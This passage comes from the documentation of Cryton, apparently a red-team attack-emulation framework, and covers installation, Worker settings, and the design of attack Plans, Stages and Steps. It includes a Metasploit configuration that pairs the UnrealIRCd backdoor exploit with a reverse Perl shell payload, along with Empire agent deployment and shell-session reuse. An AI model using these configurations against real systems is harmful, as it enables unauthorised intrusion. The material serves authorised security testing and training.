registry.gitlab.ics.muni.cz:443/cryton/cryton-core:2023.1\n</code></pre></p>"},{"location":"components/core/#usage","title":"Usage","text":"<p>If you're using Docker (Compose) to install the app, you don't need to migrate the database or start the services mentioned in this section.</p> <p>Use the following to invoke the app: <pre><code>cryton-core\n</code></pre></p> <p>You should see a help page: <pre><code>Type 'cryton-core help <subcommand>' for help on a specific subcommand.\n\nAvailable subcommands:\n...\n</code></pre></p> <p>To learn about each command's options use: <pre><code>cryton-core help <your command>\n</code></pre></p> <p>Before we do anything, we need to migrate the database: <pre><code>cryton-core migrate\n</code></pre></p> <p>To be able to use Cryton Core, we need to start the REST API and RabbitMQ listener. We can do both using: <pre><code>cryton-core start\n</code></pre></p> How to change the default API host/port? <p>To change the default API host/port use the --bind option. <pre><code>cryton-core start --bind <address>:<port>\n</code></pre></p>"},{"location":"components/core/#rest-api-and-control","title":"REST API and control","text":"<p>REST API is the only way to communicate with Cryton Core. It is by default running at http://0.0.0.0:8000. Interactive documentation can be found at http://0.0.0.0:8000/doc.</p> <p>To be able to control Cryton Core, you have to send requests to its REST API. This can be done manually, or via Cryton CLI or Cryton Frontend.</p>"},{"location":"components/core/#troubleshooting","title":"Troubleshooting","text":"Unable to load the interactive REST API? <p>If you're not using a reverse proxy, set <code>CRYTON_CORE_API_USE_STATIC_FILES=false</code>.</p>"},{"location":"components/frontend/","title":"Frontend","text":""},{"location":"components/frontend/#description","title":"Description","text":"<p>Cryton Frontend is a graphical interface used to interact with Cryton Core (its API).</p> <p>Link to the repository.</p>"},{"location":"components/frontend/#settings","title":"Settings","text":"<p>Cryton Frontend uses environment variables for its settings. Please update them to your needs.</p> <p>Notice</p> <p>For now, settings can be changed only for the npm installation. However, it is possible to update the API host and port at runtime at http://localhost:8080/app/user/settings.</p> <p>Variables can be found in <code>src/environments/</code>. For production modify the environment.prod.ts file, else modify the environment.ts file.</p>"},{"location":"components/frontend/#crytonrestapihost","title":"crytonRESTApiHost","text":"<p>Cryton Core's API address.</p> value default example string 127.0.0.1 cryton-core.host"},{"location":"components/frontend/#crytonrestapiport","title":"crytonRESTApiPort","text":"<p>Cryton Core's API port.</p> value default example int 8000 8008"},{"location":"components/frontend/#refreshdelay","title":"refreshDelay","text":"<p>Sets artificial delay in milliseconds for refresh API requests.</p> What is this for? <p>Users usually react better if the requests don't happen instantly, but they can see a tiny bit of loading. Initial API request doesn't use delay, this is only for refreshing data</p> value default example int 300 500"},{"location":"components/frontend/#usehttps","title":"useHttps","text":"<p>Use SSL to connect to REST API.</p> value default example boolean false true"},{"location":"components/frontend/#installation","title":"Installation","text":""},{"location":"components/frontend/#with-docker","title":"With Docker","text":"<p>Cryton Frontend is available as a Docker image and can be installed using Docker.</p> <p>Requirements</p> <ul> <li>Docker</li> </ul> <p>Recommendations</p> <ul> <li>Post-installation steps</li> </ul> <p>Run the front end in the background: <pre><code>docker run -d -p 127.0.0.1:8080:80 registry.gitlab.ics.muni.cz:443/cryton/cryton-frontend:2023.1\n</code></pre></p>"},{"location":"components/frontend/#with-docker-compose","title":"With Docker Compose","text":"<p>Example Docker Compose configuration is also available. </p> <p>Requirements</p> <ul> <li>Docker Compose</li> </ul> <p>Recommendations</p> <ul> <li>Post-installation steps</li> </ul> Create a new directory <pre><code>mkdir cryton-frontend\ncd cryton-frontend\n</code></pre> <p>Download the configuration using:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-frontend/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-frontend/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <p>Run the Compose configuration: <pre><code>docker compose up -d\n</code></pre></p>"},{"location":"components/frontend/#with-npm","title":"With npm","text":"<p>Even though the front end can be installed using npm, it is not recommended.</p> <p>Requirements</p> <ul> <li>npm</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> </ul> <p>Clone the repository: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-frontend.git\ncd cryton-frontend\n</code></pre></p> <p>Install the dependencies: <pre><code>npm install\n</code></pre></p> <p>Serve the app:</p> TestingProduction <pre><code>ng serve --port 8080\n</code></pre> <pre><code>ng serve --prod --port 8080\n</code></pre> <p>Use <code>ng serve</code> only for development/testing. In a real production environment use either Docker (compose) installation or a production build deployed on a production-ready web server (for example Nginx).</p> Build the app <p>You can find the build in the /dist folder.</p> TestingProduction <pre><code>npm run build\n</code></pre> <pre><code>npm run build-prod\n</code></pre>"},{"location":"components/frontend/#usage","title":"Usage","text":"<p>By default, the Frontend is served at http://localhost:8080/.</p> <p>Use the in-app help pages to learn about usage.</p>"},{"location":"components/modules/","title":"Modules","text":""},{"location":"components/modules/#description","title":"Description","text":"<p>Cryton (attack) modules are a collection of Python scripts with the goal of orchestrating known offensive security tools (Nmap, Metasploit, medusa, etc.). Although this is their intended purpose, they are still Python scripts, and therefore any custom-made script can be used similarly.</p> <p>Do not forget that the modules can be used for other purposes other than attacking.</p> <p>Link to the repository.</p>"},{"location":"components/modules/#installation","title":"Installation","text":"<p>Modules are automatically installed on Worker's start-up, you just need to download and move them to the Worker's app directory.</p> <p>The system requirements for each module have to be installed manually as specified in each module's README here.</p> <p>However, if you're using Worker's Kali image the requirements are already satisfied for the official modules. If the Worker is deployed on a fully-fledged Kali OS, the need to install the system requirements SHOULD be also gone. Neither the less, you should check if they're satisfied.</p>"},{"location":"components/modules/#with-git","title":"With git","text":"<p>Requirements</p> <ul> <li>Git</li> </ul> <p>Clone the repository and checkout the correct version: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-modules.git\ncd cryton-modules\ngit checkout stable/2023.1\n</code></pre></p> <p>Make sure the Worker's app directory exists and copy the modules into it: <pre><code>mkdir -p \ncp -r modules ~/.local/cryton-worker/\n</code></pre></p>"},{"location":"components/modules/#manually","title":"Manually","text":"<p>Go to the repository and download it:</p> <p></p> <p>Finally, extract the <code>modules</code> directory from the archive to Worker's app directory (<code>~/.local/cryton-worker/</code>).</p>"},{"location":"components/modules/#usage","title":"Usage","text":"<p>Modules are primarily targeted for use with Cryton Worker. Once the Worker receives an execution request, it imports a module, runs it with the supplied arguments, and saves its output.</p> <p>Even though the modules are Python scripts and can be installed and executed manually, some of them use the Worker's prebuilt functionality, which means you have to run them in the same virtual environment as Cryton Worker.</p>"},{"location":"components/modules/#available-modules","title":"Available modules","text":"<p>Here is a curated list of modules. Please see each module's readme for more information.</p> <ul> <li>mod_cmd</li> <li>mod_script</li> <li>mod_medusa</li> <li>mod_msf</li> <li>mod_nmap</li> <li>mod_wpscan</li> </ul>"},{"location":"components/worker/","title":"Worker","text":""},{"location":"components/worker/#description","title":"Description","text":"<p>Cryton Worker is used for executing attack modules remotely. It consumes messages from Cryton Core through the RabbitMQ.</p> <p>Link to the repository.</p>"},{"location":"components/worker/#settings","title":"Settings","text":"<p>Cryton Worker uses environment variables for its settings. Please update them to your needs.</p>"},{"location":"components/worker/#overriding-settings","title":"Overriding settings","text":"<p>To override the settings, use the <code>export</code> command: <pre><code>export CRYTON_WORKER_NAME=name\n</code></pre></p> <p>Use <code>unset</code> to remove a variable.</p> <p>Some settings can be overridden using the CLI. Try using: <pre><code>cryton-worker start --help\n</code></pre></p> Overriding settings permanently <p></p> <p>First, make sure the app directory exists: <pre><code>mkdir -p ~/.local/cryton-worker/\n</code></pre></p> <p>Download the default settings into the app directory:</p> curlwget <pre><code>curl -o ~/.local/cryton-worker/.env https://gitlab.ics.muni.cz/cryton/cryton-worker/-/raw/stable/2023.1/.env\n</code></pre> <pre><code>wget -O ~/.local/cryton-worker/.env https://gitlab.ics.muni.cz/cryton/cryton-worker/-/raw/stable/2023.1/.env\n</code></pre> <p>Open the file and update it to your needs.</p> Overriding settings with Docker <p></p> <p>To override a variable use the <code>-e</code> or the <code>--env-file</code> option: <pre><code>docker run -e CRYTON_WORKER_NAME=name --env-file relative/path/to/.env ...\n</code></pre></p> <p>More information can be found here.</p> Overriding settings with Docker compose <p></p> <p>Override variables in the <code>environment</code> or the <code>env_file</code> attribute: <pre><code>services\n service:\n environment:\n - CRYTON_WORKER_NAME=name\n env_file:\n - relative/path/to/.env\n</code></pre></p> <p>More information can be found here.</p>"},{"location":"components/worker/#available-settings","title":"Available settings","text":""},{"location":"components/worker/#cryton_worker_name","title":"CRYTON_WORKER_NAME","text":"<p>Unique name used to identify the Worker.</p> value default example string worker my_worker"},{"location":"components/worker/#cryton_worker_modules_dir","title":"CRYTON_WORKER_MODULES_DIR","text":"<p>Path to the directory containing the modules.</p> value default example string /path/to/cryton-modules/modules/ /opt/cryton-modules/modules/"},{"location":"components/worker/#cryton_worker_debug","title":"CRYTON_WORKER_DEBUG","text":"<p>Make Worker run in debug mode.</p> value default example boolean false true"},{"location":"components/worker/#cryton_worker_install_requirements","title":"CRYTON_WORKER_INSTALL_REQUIREMENTS","text":"<p>Install requirements.txt for each module on startup.</p> value default example boolean true false"},{"location":"components/worker/#cryton_worker_consumer_count","title":"CRYTON_WORKER_CONSUMER_COUNT","text":"<p>The number of consumers used for Rabbit communication (more equals faster request processing and heavier processor usage).</p> value default example int 7 3"},{"location":"components/worker/#cryton_worker_processor_count","title":"CRYTON_WORKER_PROCESSOR_COUNT","text":"<p>The number of processors used for internal requests (more equals faster internal requests processing, but heavier processor usage).</p> value default example int 7 3"},{"location":"components/worker/#cryton_worker_max_retries","title":"CRYTON_WORKER_MAX_RETRIES","text":"<p>How many times to try to re-connect to RabbitMQ when the connection is lost.</p> value default example int 3 5"},{"location":"components/worker/#cryton_worker_msfrpcd_host","title":"CRYTON_WORKER_MSFRPCD_HOST","text":"<p>Metasploit Framework RPC host.</p> value default example str 127.0.0.1 msfrpc.host"},{"location":"components/worker/#cryton_worker_msfrpcd_port","title":"CRYTON_WORKER_MSFRPCD_PORT","text":"<p>Metasploit Framework RPC port.</p> value default example int 55553 55554"},{"location":"components/worker/#cryton_worker_msfrpcd_ssl","title":"CRYTON_WORKER_MSFRPCD_SSL","text":"<p>Use SSL to connect to Metasploit Framework RPC.</p> value default example boolean true false"},{"location":"components/worker/#cryton_worker_msfrpcd_username","title":"CRYTON_WORKER_MSFRPCD_USERNAME","text":"<p>Username for Metasploit Framework RPC login.</p> value default example string cryton msf"},{"location":"components/worker/#cryton_worker_msfrpcd_password","title":"CRYTON_WORKER_MSFRPCD_PASSWORD","text":"<p>Password for Metasploit Framework RPC login.</p> value default example string cryton toor"},{"location":"components/worker/#cryton_worker_rabbit_host","title":"CRYTON_WORKER_RABBIT_HOST","text":"<p>RabbitMQ server host.</p> value default example string 127.0.0.1 rabbit.host"},{"location":"components/worker/#cryton_worker_rabbit_port","title":"CRYTON_WORKER_RABBIT_PORT","text":"<p>RabbitMQ server port.</p> value default example int 5672 15672"},{"location":"components/worker/#cryton_worker_rabbit_username","title":"CRYTON_WORKER_RABBIT_USERNAME","text":"<p>Username for RabbitMQ server login.</p> value default example string cryton admin"},{"location":"components/worker/#cryton_worker_rabbit_password","title":"CRYTON_WORKER_RABBIT_PASSWORD","text":"<p>Password for RabbitMQ server login.</p> value default example string cryton mypass"},{"location":"components/worker/#cryton_worker_empire_host","title":"CRYTON_WORKER_EMPIRE_HOST","text":"<p>Empire server host.</p> value default example string 127.0.0.1 empire.host"},{"location":"components/worker/#cryton_worker_empire_port","title":"CRYTON_WORKER_EMPIRE_PORT","text":"<p>Empire server port.</p> value default example int 1337 11337"},{"location":"components/worker/#cryton_worker_empire_username","title":"CRYTON_WORKER_EMPIRE_USERNAME","text":"<p>Username for Empire server login.</p> value default example string cryton empireadmin"},{"location":"components/worker/#cryton_worker_empire_password","title":"CRYTON_WORKER_EMPIRE_PASSWORD","text":"<p>Password for Empire server login.</p> value default example string cryton password123"},{"location":"components/worker/#cryton_worker_app_directory","title":"CRYTON_WORKER_APP_DIRECTORY","text":"<p>Path to the Cryton Worker directory. (do not change, if you don't know what you're doing)</p> value default example string ~/.local/cryton-worker/ /path/to/app/ <p>The default value in Docker is set to <code>/app</code>.</p>"},{"location":"components/worker/#prerequisites","title":"Prerequisites","text":"<p>Cryton Worker requires the following technologies to run properly:</p> <ul> <li>Metasploit Framework</li> <li>Empire C2</li> </ul> <p>To make the installation process smoother the prerequisites are bundled within the Docker Compose installation.</p>"},{"location":"components/worker/#installation","title":"Installation","text":""},{"location":"components/worker/#with-docker-compose","title":"With Docker Compose","text":"<p>The easiest way to install Cryton Worker (and its prerequisites) is to use the example Docker Compose configuration.</p> <p>Requirements</p> <ul> <li>Docker Compose</li> <li>Install the modules</li> <li>Create permanent settings</li> <li>Update the following settings:<ol> <li>CRYTON_WORKER_MODULES_DIR=/absolute/path/to/modules/</li> <li>CRYTON_WORKER_EMPIRE_HOST=cryton-empire</li> </ol> </li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> </ul> <p>First, switch to the app directory: <pre><code>cd ~/.local/cryton-worker/\n</code></pre></p> <p>Install the modules into the app directory and export the path: <pre><code>export CRYTON_WORKER_MODULES_DIR=~/.local/cryton-worker/modules/\n</code></pre> If you're using persistent settings, make sure that they match.</p> <p>Download the configuration using:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-worker/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-worker/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <p>Run the Compose configuration: <pre><code>docker compose up -d\n</code></pre></p> What should the output look like? <pre><code>[+] Running 6/6\n \u283f Network cryton-worker_default Created\n \u283f Container cryton-worker Started\n \u283f Container cryton-empire Started\n</code></pre> <p>Everything should be set. Check if the installation was successful and the Worker is running: <pre><code>docker compose cryton_worker logs\n</code></pre> You should see <code>[*] Waiting for messages.</code> in the output.</p>"},{"location":"components/worker/#with-pipx","title":"With pipx","text":"<p>Cryton Worker is available in the PyPI and can be installed using pip. However, we highly recommend installing the app in an isolated environment using pipx.</p> <p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>pipx</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> <li>Enable shell completion</li> </ul> <p>Install the modules into the app directory and export the path: <pre><code>export CRYTON_WORKER_MODULES_DIR=~/.local/cryton-worker/modules/\n</code></pre> If you're using persistent settings, make sure that they match.</p> <p>Install the app:</p> pipxpip <pre><code>pipx install cryton-worker\n</code></pre> <pre><code>pip install --user cryton-worker\n</code></pre>"},{"location":"components/worker/#with-docker","title":"With Docker","text":"<p>Cryton Worker is available as a Docker image and can be installed using Docker.</p> <p>Requirements</p> <ul> <li>Docker</li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> <li>If you're using persistent settings, switch to the app directory and pass the settings</li> </ul> <p>Install the modules into the app directory and export the path: <pre><code>export CRYTON_WORKER_MODULES_DIR=~/.local/cryton-worker/modules/\n</code></pre> If you're using persistent settings, make sure that they match.</p> <p>Run the container:</p> bare versionkali version <p>The bare image doesn't take care of the modules' system requirements. It should be used on a Kali OS.</p> <p>The following command ensures effortless deployment. It mounts the modules and shares the host's networking namespace. <pre><code>docker run --network host -e CRYTON_WORKER_MODULES_DIR=${CRYTON_WORKER_MODULES_DIR} -v ${CRYTON_WORKER_MODULES_DIR}:${CRYTON_WORKER_MODULES_DIR} registry.gitlab.ics.muni.cz:443/cryton/cryton-worker:2023.1\n</code></pre></p> <p>Limitations</p> <ul> <li>The easiest way to make the container accessible from the outside and to allow the container to access the prerequisites is to use the <code>--network host</code> option</li> <li>Since the image doesn't contain the tools or the Metasploit Framework, you need to set up and mount them on your own</li> </ul> <p>The kali image takes care of the modules' system requirements and also hosts the Metasploit Framework. However, the drawback is its large size.</p> <p>The following command ensures effortless deployment. It mounts the modules and shares the host's networking namespace. <pre><code>docker run --network host -e CRYTON_WORKER_MODULES_DIR=${CRYTON_WORKER_MODULES_DIR} -v ${CRYTON_WORKER_MODULES_DIR}:${CRYTON_WORKER_MODULES_DIR} registry.gitlab.ics.muni.cz:443/cryton/cryton-worker:kali-2023.1\n</code></pre></p> <p>Limitations</p> <ul> <li>The easiest way to make the container accessible from the outside and to allow the container to access the prerequisites is to use the <code>--network host</code> option</li> </ul>"},{"location":"components/worker/#usage","title":"Usage","text":"<p>If you're using Docker (Compose) to install the app, you can ignore this section.</p> <p>Use the following to invoke the app: <pre><code>cryton-worker\n</code></pre></p> <p>You should see a help page: <pre><code>Usage: cryton-worker [OPTIONS] COMMAND [ARGS]...\n\n Cryton Worker CLI.\n\nOptions:\n ...\n</code></pre></p> <p>To learn about each command's options use: <pre><code>cryton-worker <your command> --help\n</code></pre></p> <p>To start Worker use <code>cryton-worker start</code> and you should see something like: <pre><code>Starting Worker worker..\nTo exit press CTRL+C\nConnection does not exist. Retrying..\nConnection to RabbitMQ server established.\n[*] Waiting for messages.\n</code></pre></p> Want to run the Worker in the background? <p>Use the <code>nohup</code> command: <pre><code>nohup cryton-worker start > /tmp/worker_std_out 2>&1 &\n</code></pre></p> <p>To stop the Worker, find their processes and kill them: <pre><code>ps -aux | grep cryton-worker\nkill <PID> <PID>\n</code></pre></p>"},{"location":"components/worker/#shell-completion","title":"Shell completion","text":"<p>Shell completion is available for the Bash, Zsh, and Fish shell and has to be manually enabled.</p> <ul> <li>To enable the shell completion, the tool must be present</li> <li>The shell completion is enabled in Docker by default</li> </ul> <p>First, make sure the app directory exists:</p> BashZsh <pre><code>mkdir -p ~/.local/cryton-worker/\n</code></pre> <pre><code>mkdir -p ~/.local/cryton-worker/\n</code></pre> <p>Generate, save, and load the completion script:</p> BashZshFish <pre><code>_CRYTON_WORKER_COMPLETE=bash_source cryton-worker > ~/.local/cryton-worker/cryton-worker-complete.bash\necho \". ~/.local/cryton-worker/cryton-worker-complete.bash\" >> ~/.bashrc\n</code></pre> <pre><code>_CRYTON_WORKER_COMPLETE=zsh_source cryton-worker > ~/.local/cryton-worker/cryton-worker-complete.zsh\necho \". ~/.local/cryton-worker/cryton-worker-complete.zsh\" >> ~/.zshrc\n</code></pre> <pre><code>_CRYTON_WORKER_COMPLETE=fish_source cryton-worker > ~/.config/fish/completions/cryton-worker-complete.fish\n</code></pre> <p>You may need to restart your shell for the changes to take effect.</p>"},{"location":"designing-phase/plan-instance/","title":"Plan instance","text":"<p>The second stage is creating a Plan instance. While Template contains unfilled variables (therefore the name \"template\"), Plan instance fills these things in by combining the template with an inventory file. This file contains all information that needs to be filled in the template. After instantiation, everything is ready to create a Run.</p> <p>Warning</p> <p>After creating the Plan instance only the Execution variables can be left unfilled and must be explicitly defined as a string.</p>"},{"location":"designing-phase/plan-instance/#inventory-files","title":"Inventory files","text":"<p>When you create a template, you don't always have all the information you need for directly executing it. Or you simply want to make it reusable for other people in their environment. To provide variability in templates we support inventory files. These inventory files can be used to provide variable values to templates using Jinja language.</p> <p>A valid Plan file is written in YAML format with variables in the Jinja format, which have to be replaced during the instantiation process.</p> <p>Inventory file example: <pre><code>names:\nstage1_target: 192.168.56.102\n</code></pre></p> <p>Template example: <pre><code> # Stage two: target is web server\n- target: {{names.stage1_target}}\n</code></pre></p>"},{"location":"designing-phase/plan/","title":"Plan","text":"<p>Plan is the basic unit of an attack scenario. It contains the name and owner of the Plan and a list of Stages.</p> <p></p> <p>Example of defining a Plan using YAML: <pre><code>plan:\nname: my-plan\nowner: my name\nsettings:\nseparator: \"|\"\nstages:\n...\n</code></pre></p> <p>To better understand what each argument means and defines, here is a short description:</p> <ul> <li>name - Sets the name of the Plan.</li> <li>owner - Name of the person who created the Plan.</li> <li>stages - List of Stages that will be executed during the Plan's execution.</li> <li>settings - Parameters for customization of specific functionalities (only <code>separator</code> for now, more about <code>separator</code> here)</li> </ul>"},{"location":"designing-phase/stage/","title":"Stage","text":"<p>A stage is a unit defined by a target and its trigger (for example time of start). It contains a list of attack Steps that are related to each other.</p> <p></p> <p>Example of defining Stage using YAML: <pre><code>name: my-stage\ntrigger_type: delta\ntrigger_args:\nminutes: 5\nsteps:\n...\ndepends_on:\n- previous-stage\n</code></pre></p> <p>To better understand what each argument means and defines, here is a short description: </p> <ul> <li>name - Sets the name of the Stage, which is mainly used to define its purpose (must be unique across the Plan).</li> <li>trigger_type - Type of the trigger to be used. For more details see triggers.</li> <li>trigger_args - Dictionary arguments, that are specific for each type of trigger. For more details see triggers.</li> <li>steps - List of related Steps that will be executed during the Stage's execution.</li> <li>depends_on - If the Stage depends on other Stages' actions, we can tell the Stage to wait until the other Stages are finished. For more details see dependencies.</li> </ul>"},{"location":"designing-phase/stage/#triggers","title":"Triggers","text":""},{"location":"designing-phase/stage/#delta","title":"Delta","text":"<p>Schedule execution for a specific time after the plan start, e.g. <code>minutes: 30</code>.</p>"},{"location":"designing-phase/stage/#examples","title":"Examples","text":"<pre><code>trigger_type: delta\ntrigger_args:\nhours: 0 # Wait for x hours.\nminutes: 0 # Wait for x minutes.\nseconds: 0 # Wait for x seconds.\n</code></pre>"},{"location":"designing-phase/stage/#datetime","title":"DateTime","text":"<p>Schedule execution for a specific date and time after the plan started.</p> <p>Trigger arguments:</p> <p>Notice: One argument from the Date and Time part of arguments (every argument except <code>timezone</code>) is required. Besides that, arguments are optional and their default values are used in their absence.</p> Argument Description Default timezone Timezone for DateTime trigger. List of available timezones here. UTC year Year in which stage should be executed. The year of the plan execution in the specified timezone month Month in which stage should be executed. The month of the plan execution in the specified timezone day Day in which stage should be executed. The day of the plan execution in the specified timezone hour Hour in which stage should be executed. 00 minute Minute in which stage should be executed. 00 second Second in which stage should be executed. 00"},{"location":"designing-phase/stage/#examples_1","title":"Examples","text":"<pre><code># This stage would be executed on 2022-01-01 08:20:00 in Europe/Prague timezone\ntrigger_type: datetime\ntrigger_args:\ntimezone: Europe/Prague\nyear: 2022\nmonth: 1\nday: 1\nhour: 8\nminute: 20\nsecond: 00\n</code></pre> <pre><code># This stage would be executed at 16:00 UTC on the day of the plan execution\ntrigger_type: datetime\ntrigger_args:\nhour: 16\n</code></pre>"},{"location":"designing-phase/stage/#http-listener","title":"HTTP listener","text":"<p>The stage will be executed on specific data received in the HTTP request (GET/POST) on the listener.</p> <pre><code>trigger_type: HTTPListener\ntrigger_args:\nhost: localhost # Address of the listener from the Worker's perspective.\nport: 8082 # Port of the listener from the Worker's perspective.\nroutes: # List of routes the listener will check for requests.\n- path: /index # Request's path.\nmethod: GET # Request's allowed method.\nparameters: # Request's required parameters.\n- name: parameter # Parameter's name.\nvalue: value # Parameter's value.\n</code></pre>"},{"location":"designing-phase/stage/#msf-listener","title":"MSF listener","text":"<p>The stage will be executed when a session with the user-defined arguments is returned from Worker. Once the session is saved, it can be accessed using <code>use_named_session: my-stage-name_session</code>, where <code>my-stage-name</code> is the Stage's name.</p> <p>Identifiers are arguments that can be used to identify an MSF session that we are waiting for to trigger the Stage. Arguments in identifiers use partial 'regex' to get matches. For example, they can use 'handler' to match 'exploit/multi/handler'. <pre><code>trigger_type: MSFListener\ntrigger_args:\nidentifiers: # Optional, by default MsfTrigger will try to find a match using 'via_exploit' and 'via_payload' based on the used MSF module and payload\ntype: 'shell'\ntunnel_local: '192.168.56.50:4444' tunnel_peer: '192.168.56.51:35380'\nvia_exploit: 'exploit/unix/irc/unreal_ircd_3281_backdoor'\nvia_payload: 'payload/cmd/unix/reverse_perl'\ndesc: 'Command shell'\ninfo: ''\nworkspace: 'false'\nsession_host: '192.168.56.50'\nsession_port: '4444'\ntarget_host: ''\nusername: 'vagrant'\nuuid: 'o3mnfksh'\nexploit_uuid: 'vkzl8sib'\nroutes: ''\narch: 'python'\nexploit: unix/irc/unreal_ircd_3281_backdoor # Exploit to use.\nexploit_arguments: # Arguments that will be passed to the exploit.\nRHOST: 192.168.56.51\nRPORT: 6697\npayload: cmd/unix/reverse_perl # Payload to use.\npayload_arguments: # Arguments that will be passed to the payload.\nLHOST: 192.168.56.50\nLPORT: 4444\n</code></pre></p>"},{"location":"designing-phase/stage/#dependencies","title":"Dependencies","text":"<p>Creating time-based triggers can be limiting, since the Stage itself can take more time than expected. To ensure that the Stages will execute in the correct order, you can choose to check if some other Stage has already finished, before its execution. All you have to do is define the <code>depends_on</code> argument. </p> <p>This way you can ensure that the sessions and gathered output from other Stages are available.</p> <pre><code>name: stage-name\ndepends_on:\n- other-stage\n</code></pre>"},{"location":"designing-phase/step/","title":"Step","text":"<p>As the name suggests, a Step is equal to one action. All the possible actions will be described later. Every step can have a successor(s) whose execution will follow according to provided conditions.</p> <p>Example of defining Step using YAML: <pre><code>name: get-credentials\nstep_type: worker/execute\nis_init: true\noutput_prefix: credentials_from_localhost\narguments:\nmodule: mod_medusa\nmodule_arguments:\ntarget: localhost\ncredentials:\nusername: admin\npassword: admin\nnext:\n- type: result\nvalue: OK\nstep: create-sesion\n</code></pre></p> <p>To better understand what each argument means and defines, here is a short description (sub-arguments are omitted since they will be discussed in more depth in their section): </p> <ul> <li>name - Sets the name of the Step, which is mainly used to define its purpose (must be unique across the Plan).</li> <li>step_type - Sets what action will the Step perform and what <code>arguments</code> will the Step use, more info below.</li> <li>is_init - Defines if the step is initial (is executed first) and is not a successor.</li> <li>output_prefix - If you want to use a custom name for sharing Step's results (serialized_output) you can define this parameter. By default, the Step's name is used. For more details see Output prefix.</li> <li>arguments - Dictionary of arguments different for each step_type. To check out all possible parameters and types see types section.</li> <li>next - Defines Step's successors, more info below.</li> </ul>"},{"location":"designing-phase/step/#step-types","title":"Step types","text":"<p>Step types are represented by the mandatory <code>step_type</code> parameter which defines what action should be executed in Step. It tells the Worker component what arguments to expect and what functions to run based on them.</p> <p>Currently, there are 3 types:</p> Step type Purpose <code>worker/execute</code> Execution of attack modules. <code>empire/agent-deploy</code> Deployment of Empire agent on target. <code>empire/execute</code> Execution of shell commands or Empire modules on active Empire agent."},{"location":"designing-phase/step/#execute-attack-module-on-worker","title":"Execute attack module on Worker","text":"<p>This functionality uses <code>step_type: worker/execute</code> and enables the execution of an attack module on a worker defined by the following parameters.</p> Argument Description <code>module</code> Defines a path (will be added to the path defined in Worker) to the chosen module that will be executed on Worker. <code>module_arguments</code> Python dictionary (JSON) containing arguments that will be passed to the module. <code>create_named_session</code>(optional) How to name the session this module will create for later usage. <code>use_named_session</code>(optional) Name of created msf session through Cryton. <code>use_any_session_to_target</code>(optional) Ip address of target on which has been created MSF session. <code>session_id</code>(optional) ID of msf session to target. <code>ssh_connection</code>(optional) Arguments for creating ssh connection to target. <p>Execution variables can be used only for the <code>module_arguments</code> parameter!</p>"},{"location":"designing-phase/step/#arguments-for-ssh_connection","title":"Arguments for <code>ssh_connection</code>","text":"Argument Description <code>target</code> Ip address for ssh connection. <code>username</code>(optional) Username for ssh connection. <code>password</code>(optional) Password for ssh connection if <code>ssh_key</code> is not supplied. <code>ssh_key</code>(optional) Ssh key for ssh connection if <code>password</code> is not supplied. <code>port</code>(optional) Port for ssh connection (default: 22)."},{"location":"designing-phase/step/#conditional-execution","title":"Conditional execution","text":"<p>To be able to execute an attack scenario according to some execution tree, Steps provide a way to be executed according to specified conditions. Multiple types of conditions can be used. To use them in designing a Template, a list of dictionaries containing params type, value, and step must be provided.</p> parameter Description type Defines which value you want to compare, according to the output of the parent Step. value Defines the desired value of the selected type. Can be defined as a string (one value) or a list of strings (multiple values). step Defines the name(s) of the Step's successor(s). Can be a string (one successor) or a list of strings (multiple successors). <p>The following are types of conditions together with descriptions of possible values.</p> Type Value Description <code>result</code> OK, FAIL, EXCEPTION Match final <code>result</code> of the Step. <code>serialized_output</code> Regular expression, for example: <code>^my_regex.*</code> Match regex in <code>serialized_output</code> of the Step. <code>output</code> Regular expression, for example: <code>^my_regex.*</code> Match regex in <code>output</code> of the Step. <code>any</code> Value must be omitted Run successor(s) in any case."},{"location":"designing-phase/step/#examples","title":"Examples:","text":"<pre><code>next:\n- type: result\nvalue: OK\nstep: step-to-execute\n</code></pre> <pre><code>next:\n- type: serialized_output\nvalue: - admin\n- root\nstep: step-to-execute\n</code></pre> <pre><code>next:\n- type: any\nstep: - step-to-execute-1\n- step-to-execute-2\n</code></pre>"},{"location":"designing-phase/step/#session-management","title":"Session management","text":"<p>One of the unique features of Cryton is the ability to create and use sessions - connections to the target systems. When you successfully exploit a running network service on your target machine (victim), you open a connection to it. In Cryton, this connection can be given a name and then used during the Plan execution in any Step (which is executed on the same Worker node and supports this functionality). Metasploit Framework session management is used for storing and interacting with sessions, and therefore must be available and running on the Worker node.</p> <pre><code>- name: step1\narguments:\ncreate_named_session: session_to_target_1\n...\n- name: step2\narguments:\nuse_named_session: session_to_target_1\n...\n</code></pre> <p>In the example above, the step1 creates a named session session_to_target_1 (in case it succeeds). Its Metasploit ID gets stored in the database and can be used anywhere in the Plan, not only in the following Step (as seen in the example). When the Plan creates multiple sessions to the same target, and the attacker does not care which he is using, the use_any_session_to_target parameter can be used.</p> <pre><code>- name: step1\narguments:\nuse_any_session_to_target: 192.168.56.22\n...\n</code></pre>"},{"location":"designing-phase/step/#output-sharing","title":"Output sharing","text":"<p>Output sharing is used for sharing gained data (serialized_output) between multiple steps. To go through the data we use a modified version of a dot notation. </p> <p>For example, imagine the following dictionary (Python data structure) <pre><code>{\"credentials\": [{\"username\": \"admin\", \"password\": \"securePassword\"}]}\n</code></pre> If we wanted to access it and get password for admin user using our version of dot notation, we would use <code>credentials[0].password</code> which would return securePassword string.</p> <p>This brings in some limitations:</p> <ul> <li>keys are separated using <code>.</code> (More on how to choose a custom separator here.</li> <li>key can't be in format <code>[integer]</code> (regex representation: <code>^\\[[0-9]+]$</code>) as it represents list (array) index</li> <li>list (array) index can be defined multiple times in the same key for example <code>myKey[1][1]</code> (it must be defined at its end) (regex representation: 